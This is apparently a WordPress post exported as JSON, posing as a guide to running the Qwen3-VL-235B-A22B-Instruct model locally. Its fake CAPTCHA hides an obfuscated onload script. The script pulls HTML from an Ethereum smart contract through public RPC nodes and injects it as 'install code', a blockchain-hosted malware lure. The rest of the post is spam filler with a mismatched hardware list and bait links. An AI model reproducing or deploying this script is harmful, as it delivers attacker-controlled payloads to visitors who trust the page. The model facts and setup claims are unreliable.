xTRiwdoOaJCz0ZpTEBYYcM+uoLTKol0jHHepC5KkoepamcGDfi9Dc\/nyqlwdt52ikIunOBntNxRqBxL9WiIRsqpYHVZBvkmz0A+SSVXmwnT4CqXiK2ZozarXvv0eWu+3s57zdfwu8CuSFQd\/Ba2YMrMfM9nJ\/5H9Hn2T35rkp\/+wILQrMYP5T2ZIUYw0+KwQcXJAHuDz47IH5aqa31+TVrmrtsxcZiIRct02XVO2KvT22KsaBw7FOHUHkT1Kj8DdLPpOqswQw1EHAcoEDBzL0vsM8CjWOEa5wOtDlXV6G5cJz\/6quesSimrNnp1zEcfgk5dzjqlYuCNiLRB200MB26Q+V4gCKTA3Cd8l64TS91Ucq5WeU8+US114gh9jrBIrRgfjacNBYJCogu5Ow87196KoAs4mg\/lFMNHXYoGdpp6t+IbYIZtRJn0F8V2\/h461hw80JyC\/qQwbpetJ4UIIruXi9aLHyS\/tfiPYcBwTb8mhlDT2jYvdsoOX7SspF\/\/0MWgjWY8NWHSXwZ1bHyrY\/E0nZ+f0sybRPRLq+Kt01v4z1jFaMYsxX73ZyqFNFpqmmlu1HCikGz9Le7KdA7JsLMBiNQK89dB2P28n9E2WX5FtbchnCF\/KbXZ6SVhuSbCvt3kT+X+FjE7+Mwzb4sBo8SeTZBnDpjdMZ4\/WH+IcrzBJIss+1pho1fDnWqP\/yV8LZ1Xu5JwLOJeUfMArAmwY6rL9MOV8btb55ZYxicnLRMbZGZnU50+\/XzT1xNNbV8K4OCIJTUZUJVL9c4nyDSpaDT92egEiTT8M9Ko3+JgAiXNHyWL39ofc0UDL3Qjt45\/Kq5r7KHC1iexwO2GPRTjYlwtd2t3SK2JI\/N0sxMuQ\/LTz1hUYtVgfy+yluidlUAuXKxHdYt6ki1wwkcz8ZYrSk8sJiAezRYmorvAqQLX7jRg2ssQGL8rkEq4pxqKLxbH5\/HQM4rprRBJQsfmqEBaXwQb5eN00rmK4dzlGwYj6m0QIV8xjzCfxX0mYiTWv6ski8RkNSy81qHwd8KabYFtublpemkIWjv7NXoxOsOpw+pedV6W4ADp2ovvdbPmtsr5MdAaWCELb6\/XvZwEl6DFfCH+Ca6h0rWV28L3Qx1CbFK4rZnWa3uAc5RboKfLsLtDD13wXnHmAuvFIkpZGhQDJQrb7J9dQGJp50OwGrfAIpabZNVbbkdHFyKy1qGew8U7VDAhlGKAgZ5rWSpM09VYAEPAKvwo\/Fkpbl2vb50JHkxHPtKxxUxu5Ahhy5gVQR7wCev1RQyWeS8WFOpTjbXFE3W3QSommZoQNl264Rg1JUkYsKNfzYXkQ5AxWuwqfqPPmJllWhUY5mpvnr5FYl2O05sN462QlERS9ymnFflRRAXeKHvxvvNRdOjZdrDhMctLcHSpf9352i\/+JJ3I1\/kRGgE2zSQPkakCsIAv8hYGieIdgBWfFoc28vVvYTFrjJbXXTMPO1AUEyzW2He4s6JvhDpx\/thHLDDVQtyzNrXLNl\/JINYMSRa\/EZh34t9\/S8U8WuE58I8LrtSzw2TgcQPS8FwMvs0Q0HHK2vva9OygHcMvIk6Sv7UkooJPg+akG3DojE3rgN0Hv\/lt2yaMqHj29oRsOA+pSiZqQX\/G1TevAa81gla+ReIyt9ArW0gskcTwjicN+R3w01p3vvKAlbvSqhUiLTwh1gUAQavDSTC2ky2d\/F2uGzEjy82+6K\/A3I3ws6HKM52ZeCviRDyRC\/xGq7iXsc2S516bc0GNvGAIeHGpPES\/ktbRadG8QbuKly6TIe3Hs\/T5j+TGXGWj1UPXfPKkNLwGVE04et2d9Pq2B9MraPs3zhsvM7tFcpwMPG4KErKi1ndeWWarswtnuZJXygFQwjPbIImKR7cNtElqt00LDQJq1qrwPtzsMwmrfzKCPAxE3whwYPUSH89RQLnPvkx5gKlcookZ\/hmfhHXhcoYb2X0kDUOJSL+HydGAo8wCrZzvKnKgqAsCxftw9vJfhZ2jW2tx3dYcSXTcW2b8phiocB5mYtaEerTzwf6V9ee7h2+q31fh+pZV7VE+6gt3HGY4PGiSaRu+U51mRee9W+daHy4ug9MAyqaxGNqXU7Net2kn+zQCg9lTwkYQ6Jb+GCyjLigR7pRyczYCRFh\/hvzLZcVzKmMpZECYNRGhnDOJrK+GmIY2P+vbjmCu4W3J9ozjluPWviAt27RaWMNl\/a9jf3diKt6HjkBt+kk908VkCqbbMtA9WUGZS4GXBlSA9FcKivkdSvM3FZa\/kFmuvNSP9bDvb3S2mMJs7NKeEmye3dqiHUAdlSNpsYmY1GM6rHx9QCleld3ZG1FMkfyTkpu6l5sa+KOWGQvnHDRFnJRcZqwWyOjIl3yc6qhLJ5ngPrA1pyPmjrENBQDZr+bWOSXOmOJRNs9cx3WP0goK5\/CZBhh2snYCDht+VVEFVDUp1dbB4EDU\/CioNwDmRvV\/5JW+M6JI\/DL+06cll5mRTQClLr\/kfbNEFFkfYt0npZw5HRkdK8cH8H2ccxklfnSMZquC\/W31X+0goUd5iHhpHnviSmQ5vKQYD8gXeICeMH1s0vkxvL+ButlHQIeU8\/OXsYMOQzkJ8ulCkguxDy2Zdvd0yMlT068hBU90mz0Rioz88nDg\/2ffy6H4Rpf\/t2jZf1hegBoMM+ltE8gKFDzbfokAs9B8wZ2c6Mr8HpjjbpUPi1iM8+m2U9wCuI9SKylTdnE+UDKFn6EJScP8CksI0T6IqFqUKxORrMhfmOhmEjNebLY+hoS6db1KM+GMXwaJ\/KuPewSnX\/hb+oZuUnWuksOKSiLWjGjJ93QiIFhqHiSn0hu3quNzuskvYUqVYNDJhl4kaTrgPA11urr4h+XGi31ojQunw+2D\/w+U22KudaDhqawGb2+HtW\/g1imxon6HkXma9dNNe2j0SxMWYZfEAVDvZpukGchz\/yRX2Gdoge8g7VFHwO0TlC5Spa0kdOh7agn5sVw2JIimReBKXGhWmOGoo4x9B8c5cI0Ps4CypP0SJ3xHQ2jxdW2TU86PUKiO7vdKhUbfTW4iweO5FJI2GbVQRZ7K1RWwI4Zzzu2UVMVp2WYvbYo6vES6Hs6G\/NU437O+rGiXJd6sNwd+uH8RjqglOdZxSK2PEqdjARoFFYqeUEO\/k5O2aPW8qe2hQ65n4ySFaYz\/u9N36ZJc8IvTAAXu2SzkD7zcjwWypqECOvK8fiAJY3Ps9k5pyux9mWOf8x8tbsLejZd+FXGqH16qr7r8JGvMFFS2J8FdK2t46HTzm7qdtYaSUyh\/AfutKzT8dzDZpHsBPAWIOv8\/Bys6jmnyC2WvX9gSVdXQY8bYjr1lFajjHFaqpMiTsZe0mNmiMJ1aWebYPwoRRoepwcYyPbVRM\/cVBrLFqzSWkEaAjOygaerFgeaOtowvxZNwN+r+o+kUiAonwr8XyxcgcQeebgc5wkOHetObCH49O6E\/SS1qkX4wKb8fhZgPeEPw9dxIRpK6DTDuxhEgm61LxpCWRqKTLVVJYo\/Nd4WUihD6GFMMHAFcU8vt0CBhpMRAufo9bg9wWR5HSwLUXbns079G9ya6lG6o1KKZqNysyp0\/wuZNAECJY+ZzQA7aNDWGI5Q3+Jkzu3qDysm2TbCoqkXR9pLfWPdqOmOjX9Aj8ZV2KgWATYYWag6DXFn+ovoH0DsWeSjn86NVPABvSFgA4j3OdVRNfydJzz\/Na++cf70HCjjo5f\/3vMIQ+vpgBlQsLdAWrSZbjiKKn+KTSLtbGgD41i00JLka+CATr8wpdSKfl\/Qr35wOiELukFyJAxxV7VcpPxculB40DXd1MzilXoZ8vXhYe0gFIjyg1aAGYCehvNNkRunNVgGOOif5p1nvly4nKZzE70vQuRjAEbWP8yCtmOaLR2g3ReXVqqW\/FdnalAoIOo01hJTTBeaewYm9eKmURr0N5r8HnYVjGC5\/FUp3i\/Jpm3BGmTa2bLsUs75y0\/3XlrM+NHMVkfpNjim84QC9wwRbr1hEU+0T06ETU\/pM66I587WlUKlSIyRfK98djkRiZMPKlr9osIjxZgUhPhum\/Yb2fnMt8NgsEkNVN4CzSOWuCcuheFLqO5c6W6NmavR50m8UUMLktVpRWnd2aXDX4261ELyhTPNj94TMeKAboxsn5DYTjsx\/ftBRuhBW\/Focfu+qKc\/U7LduGlf4JBalK4DzwEJWbTvWKgM\/C8JELFUSzt3sH\/3U\/\/fyiQ9u+s\/Vk1eSLki9zPUiRUo4hhQ+sTQLkTtXPLHDry95u0pXEh0+Oan1LuBiC3i0WbvcQFMdr+hjGHschheFDmAkkNkw+Mn8yrL\/DZlssFV\/fy6noReomUszPiew764hA5VBLRTEMieeActa1mWWWeCi7ItyJn8+aJ\/sCFGuGfjHYjXpBlwdLNA63GcfZFhYos4XMX\/T8nTa76TTAzOXaAOTdMbGFnDKEPHZo32AkvidyUfFKvHPW3ORdTb88h3ag56F9uD+vfe1EvArgYgxa1MiODDbhz4HTsbpptcEWWDZkSva6uUEPOaSkynF0qngAAAS++sbxqoI0pYzlf7tCgFd65IDeiUhq7l5lHx4w1y5moI6+dh9rfZDDIQqCz4mKq7Q4sHHcOprNeJKRTZbo6Alqk9e6a5Nx1TRMTTuLED9tBh+OejwYDgJJEIJc6byg+bBa64m5zAGj\/LX11+tVJtnDD\/Cs6caDPcSTz4FyaBXX+s0uOM\/xPGGWue\/YCxE73+Pd30qWgKavTaj7kEZuBxDVzNv3lsI82iTE\/zpwuuf3PxQPMXtPaz0zcr\/Zv4xRXYOU0PTEemnzv+3G92GG2RJoWRRSGHlZV\/Uc9dMJho69o6SxlxFO5xrE3LxW1nQapIuZyllqjV1RTFVRqFsAGAj6zdP5\/m\/iOQvApLhdkJ7Li69PIfUa0R+6\/9n06m4q4fgKIHRzqxKAu20NDk2hTUd1WufKqUo52olrlZF9qEpMyoBUyClmFvgVCdYtPl29+1gXLrIjEs1nEu8YpGaq8C8GT59Yfd29fugjr2ZdqR9a6rKWm7hgLY2kofKDr+5T39GlbdIGSEf5MTlYwRZkZTOPXiAmlf75j0a8n1\/X0cPiPoxtbO8bIOzEoL\/vtuR4a+aVPJs2ZhijFkYxBfdOgBPKLhUPnm8+jBxIPdaB4w9nPIGiXE2M2DlZjzAFW8LObqzXKTivjE\/E8+YoXbThSa6l+Dz0Yh34UqlTDuZwLb8duoaG8FxyH6QhGQ6dRoS6KyowhCHYLsrV8LdPD9\/ooBR\/LLrGrKqBvkLveXEtvOffcBYfE1ij8J3O6wAzvLjedOac\/xnq7m5V7Civ50U8DOakCSJRV0MiiPZavCKUwany1JbP1jdAi7on6Cbpz\/8X5zZtGwrw6XtXD3MjWI6FX83rQptHLN8rZiESVx65aAbegroOnrAb2Le4yjadqpGJs6wxA79RkZKl5sK+I\/zdihsKoSLWCQeHWzPUczgN6YwFBXfl0snWr61hdmGipI06cYxPxhkIAAXgJyIU90nib5n1xSqM\/SGHRo9LV5pMEGuBeKjLUxJzRsiSUCv4JRVMQx0R6rF\/Q1+nErOUCIJoAAAAAAAAEvM6FEDg43auUbjjXghB9IbgjLl6ymnLpbLwvKjvUX8mAsjaHrQco\/axuqa7hAX7eHeV+x2u4WCFVEuQ35K2OWh5giTEfSQr08NrtzkVRohChV21dMpht5tTVsmCzIwPV8\/Lo7cNfWm75vBDg0+G2Arxd1BrHxBy+\/Cl8SUNCH2eX\/pP2KaGo5w\/qM6Bs4i\/10fxwQG6WW9Jtqbsd6TnR83mu7M7i5o4rp2HyRlF6wBCghmuZ+FrlrY8u14gtKguN4Bbv2WlSRwleGmlUBFP55TrqlE\/8f5dcFXPRevbjY88qCEpUIz9ixTTmvyv\/DlXVWXOEaMF5qqjxi9yqNLN2UjmhirJupkUezWjp7qdPq41NY7i0ZZ4Bh4im9EprjA5Xf8Uv8+JTA7V7WIuM3bbYzuYLqvcao0Bklu3+21Xvqvc7HJ8Gg5MxnSNeEIwDp63T3bS26rSXg0oiVBvw5qTDUJL7ohbnKTU1Cm4N\/JsFQkMpm077Z5DXJegXDFUeJN8LvNjWM5b7MmXrGvAwa\/2B8hq7pZ7JTEgx3NCUmoVewi92U9FsCKLpi16GNA12BOgfG3CvJ7jpCF9vIRnlvBIuodzniwQZ\/ntC03kQyKJ2iijXZj9htiOSvtP6UG6xcBfV5XQ5KtzGXOZ2hNUUjXd+Rk7A79U\/qbB8vdAJ\/Jocii7CISiyrwlerngqNUgAU9q5GjXAHdmyVBPDrfVBqvY1EK1JE7Js2KrJ5nBEHAkVITCzJZR2QEadS9WKaansaF6ReJfxjXL0xXE2HDA3W0I3am8bad08XgG8rKLL6RVXnbCqsb\/T\/DOyDz22QbH8RXx3Mu3FOF5awjiS\/0DbwYAnWBOCX7gf4AnxB6h8SEAAA+\/RSG5LgDAxi9LLwmfQlv4T2xlV94yjSjT8+C+cTmnzgA5BnZnii+jJA9Db7L+\/hod76EobCtM9jg4oBJQIaFDxd+ezq8DoFF\/vwS2WOkWK7Oj0P455\/udwoLtX+kJyPN311n+kdExvf7RU0\/azV6RpXZqvHeeswF+X70h1n4QgflWGoVprSpD4U\/xc2amn0zJKhXWSvSt1FVJuA8S4jlrXnHt0cLlg2l\/cWQbqNthr1GEBWfQ04rpx1NXDKMsSmKATv\/lQsBNMwLpAtuKpis0U36u8qMILPZcDIVjDetnsHUypFQptrW45lKZ3Etp2RK7fQmmW8UqtaIezF9FjTAkwkVH9bQNzKfLz1QoREf29iRislUlY0vTe2iozlHUFh9HO6hpZ30NOAeCCGhpNecTyyr+OK8UY8tgyQXz9SiBYgejbCCxowiHjY+Ozg4JZy3xk9\/B19yPHHl\/z4uU8QPSYmJuk1IJ6qnyoI5U1ZEpRWaAYZq6uL1a6Wpd9lo4Xtk0vwVr\/axULRosiERXEm7GI9\/26\/mRX0GUfwzFuqZT9ANsyzGyUuWASoWFBthxyHUpA5kdtjQhm\/YetA1YOJUZ6LjtS4h+vfT1GdGDOR4eeVonE5AkY22iPUFa9qjVDHbiRCcR3Ex+cLLPMhI7CXjqDeL62l5SipOIm7lrraYvf3RTdV1\/ePBT17gArrft7m8vmd538t+uO1pMtaohEAT+7\/dB1OMu5hiYkZc1DvuFwGJeXHros9M4R55Z9QhetY1a5A7khyFbIAI8T1U8LZp9soc6LMgd85+5eM\/fbpyM4wezAn+3tmmpq0dupfTdYub+gBDgAAwJcAAyf24JyJfO+qBfUFE8iEOR\/Sa+\/IePmqIK52IbxCcTA\/iziA3KpDyk4+hiCPf+nQlq4\/3dn\/jeEirv6BPCnw6EGQTDtJUBBI3ku+ZHfxnyxrAwsleuKUzvUFcxaKtFC8ZWH8YSKq4p+ins1PF+Qa\/o2ceDSVi1KJl8q\/SEVOCdTMPU9lkvy2fmGz1E\/Du3ixCvU9\/jnNwrMkEKS1T4ASSaTHr8MOoISSSXgsYPP6PCdgfmnJxIHaHbDQEx0\/2qtMGel+rje4uLkajnOxEHmEfLfkUmpzVoTwlHe+NZtXUY+NwaCQqt9zvWxvFNrdz3yXXBEqXXNmnUoRCHYA2hTleYSRKf3x\/pZJ+WIrntm9RF66+K7KPlhO8s7Ilgl0ibZnVRx0Pj\/ZUl\/lLPUYguBuM6tK32M2o9Dy5H\/0znx6+dpWR5piBw09e\/SgKh6PvcPq1GGIFX8n3kUMvEt78xOofdpiUM\/1mwKb1h4KedVylJqjsFez8j0Ixkruy4Asg12kIokzVWd7YHTTOrzjscYqgF3hjiKuAHz4U5MdFYcRbKuB70EJPspM421tKCMDFiMGQjdH5gscNFF8kpUAzTLUw65XhiKSkCanKjoZY+zDMAOxp6DP0nVd81QeOnRfaWrdgiInxXwsn32e25bRO3cfgGnQ8mZyxVffGJZNJd+skZ6awZ69OT+XD3tq0Fvz7ViD\/8JYFTTyvyKEWj4EeBhqTwElh3TBiu4\/+MsAKxyYu4DSyNFMCuQHqD6d7geO56pRiwNZdA7rmBU1HIlGB80cG3ayw\/MGp1D8nqzwIwoxliM2CF3B8829z\/5JNwzC4WxWxOKUaM8SDbbmtUqVdXnsYH5TRmPfpoVxjPDzBrdnrM2xUXdRZ55m2LAQrX3J97eq3y7Dlw3exOeH4XVSK6YDdxEnDmz5d2PPqgOdea2b\/LLya2Br+VWj98c7\/ygX\/SZsqN\/dKTfsf7kio3ocOvX3POLms1Ul+DoZa0NAiuiQQ+d2HRImLmkd4rnSnSoQACFEi2U3WQZ+0lvnoyTj311FxGZGSEEtzSYMjEvJHxqfFqjsf14MJ4x\/ObRrfftUnOtF+T2LNh1MtWTldGZ+WV9XwsM12WlmQjpXoSr6aftacDxXmY1ca7uBiQmnQCmPrUgRXU3FM+SzlJN\/XfLeE\/DANO8AepZpKo9Im82dX69Da5aHjI07Wq0XaOtWUNL0i2XB9cZWshPs7o4mwTXNMncEsU\/e4Pa4bYtb74tLWwKRSmnVqlh2E0Ojl\/FqrMgJimuBus4CHyVyKO0y3M16df1DBja4kHBc3CJxHqNKhh\/a\/stQUpSzgzHZ4KW1a5SilFRYlYEWHPxQCcpB0ss9WHCbwUbphxI4uTkJIv9Z466n2r1ukQvDCBLMZHUoO2w1YgMURrjVN45jXxMdm512SsL84ons4reCRAfP9eySOW99MhzIgGvVEcA\/n3Yg1M1pbhm8aFaoCwoDA8cxMls3zJ7fLUuEYF99WeVgh7ar7OhPXFoLjDF8pcw7pSdt\/WFzBkKfyAdqpiQi+m9iRg7C2EHuqBW2Ke0pdmgxcqwvOhCNZc2SX3HoDRzFwfsKNnq8JevoXjokqmmH5aJkI5am9NI5w6UMiv+lNrpkvGBEecsjoktZq8NTunBKTMfXsnTR4RSsSbQjVud4zcV0gSOd4RTbQaa3VOXuXr8MRvX5P\/uUKnhiPjsbK4nhfaqEldod4phP3WaKmlgtLbfh3HIcNwdXCwiTg+3SxuVI\/ClhEhZvQiYk78o+VKVPcEcvp+BgGJicwfDVoF4Ap1IGRA0kbhuTOOGCPi6xtPWcM3rJcGKjosz4\/+wlS+7R7xjnS6Et4VUqVFiD9HoLzxVHz4a9xqEBEwpdtj\/lqzsz+JBh4oCMMye5Pq\/ZxZ1UawXsYjRoo2euyI9lSkUC0vOY6pLavaSQg31FokJbYjxoYDWnr\/VBCnfkNi1yRSEzYgZaCW+iGZ1TW6py9u9xBpYGvVeOR8vRpdYhibRqNKIvZSem\/rgnEX3aus7jGU2CGx3KTIzM\/OwwayeM4l+uCdjh\/os4K+Y3gkzrM\/C9Oe0MSMz728+5i1x4oon2uGFBOAi+IwQk\/RWVg2iBt13FULa1fMjsybE0jNE\/R0IV5PKAph3O1raig6JROQoL6WEwdV1CodQHAKuS2ruUmHsc\/DxojGy2rXn2v4W217Q+nIxFaDJFfaIpDyGngXHLYNuPeaDKNJhe6swQaCHriaHxJUdk7TJlSGfNd+zqikiah8HtRt2ZA+IYulKPr4kGS+mrl76yPVEBJEejZwPaVsb766IEdkkoXnJQdgBc8UhitQfrrJDHB704Dmc4Yap\/TBAL0nDLxpcemZBq9Dk5GucAzsaoZlS17Wbi\/aSgZ7NwSqJbsHXpeKZzAQtyZzsBihAAq7a\/HHFcmAAAA==\" alt=\"Qwen3-VL-235B-A22B-Instruct PC with NPU with Native FP4\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>For the <i>fastest local setup<\/i> of this model, <b>Docker<\/b> is the best choice.<\/p>\n<p>Just follow the <b>guidelines<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>The client handles the setup, pulling gigabytes of data automatically.<\/i><\/p>\n<p> <\/p>\n<p>During setup, the script automatically determines and <b>applies the best settings<\/b> tailored to your machine.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#333333;font-family:'Verdana';\">\ud83d\udcc4 Hash Value: <code>d3e9b15593bfc3dee51e5839db336e75<\/code> | \ud83d\udcc6 Update: 2026-06-22<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'bc305b8b_qwenvlbabinstruct_native');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0;\">\n<li><strong>CPU:<\/strong> 8-core \/ 16-thread <strong>recommended for orchestration<\/strong><\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The Qwen3-VL-235B-A22B-Instruct model combines a massive <b>235\u202fbillion parameters<\/b> with an <b>A22B<\/b> architecture to deliver <i>state\u2011of\u2011the\u2011art<\/i> multimodal understanding. It processes text and images simultaneously, enabling <i>high\u2011fidelity<\/i> vision\u2011language tasks such as caption generation, visual question answering, and diagram interpretation. The model was fine\u2011tuned on a diverse corpus of <b>web\u2011scale<\/b> text and <b>image\u2011caption pairs<\/b>, which improves its contextual reasoning and visual grounding. Its <b>context window<\/b> extends to <b>32\u202fk tokens<\/b>, allowing it to retain long\u2011range dependencies across documents and complex scenes. In benchmark evaluations, Qwen3-VL-235B-A22B-Instruct consistently outperforms prior large multimodal models on both <b>accuracy<\/b> and <b>efficiency<\/b> metrics. The accompanying <b>instruction\u2011tuned<\/b> variant ensures reliable performance on user\u2011centric prompts, making it suitable for production\u2011grade AI assistants.  <\/p>\n<table>\n<tr>\n<th>Metric<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>235\u202fB<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>32\u202fk tokens<\/td>\n<\/tr>\n<tr>\n<td>Modalities<\/td>\n<td>Text + Image<\/td>\n<\/tr>\n<tr>\n<td>Training Data<\/td>\n<td>Web\u2011scale text &#038; image\u2011caption pairs<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Downloader pulling calibrated Flux.1-Lite safetensors for rapid image prototyping<\/li>\n<li>Run Qwen3-VL-235B-A22B-Instruct PC with NPU No-Internet Version Easy Build FREE<\/li>\n<li>Script downloading optimized tokenizers designed specifically for complex localized text pools<\/li>\n<li>How to Run Qwen3-VL-235B-A22B-Instruct Locally (No Cloud) Uncensored Edition 5-Minute Setup FREE<\/li>\n<li>Downloader pulling ultra-fast 2-bit quantizations for CPU prototyping<\/li>\n<li>How to Launch Qwen3-VL-235B-A22B-Instruct on Copilot+ PC<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>For the fastest local setup of this model, Docker is th [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[94],"tags":[],"class_list":["post-31815","post","type-post","status-publish","format-standard","hentry","category-rankers"],"_links":{"self":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31815","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/comments?post=31815"}],"version-history":[{"count":1,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31815\/revisions"}],"predecessor-version":[{"id":31816,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/posts\/31815\/revisions\/31816"}],"wp:attachment":[{"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/media?parent=31815"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/categories?post=31815"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/letshuoer.cn\/index.php\/wp-json\/wp\/v2\/tags?post=31815"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}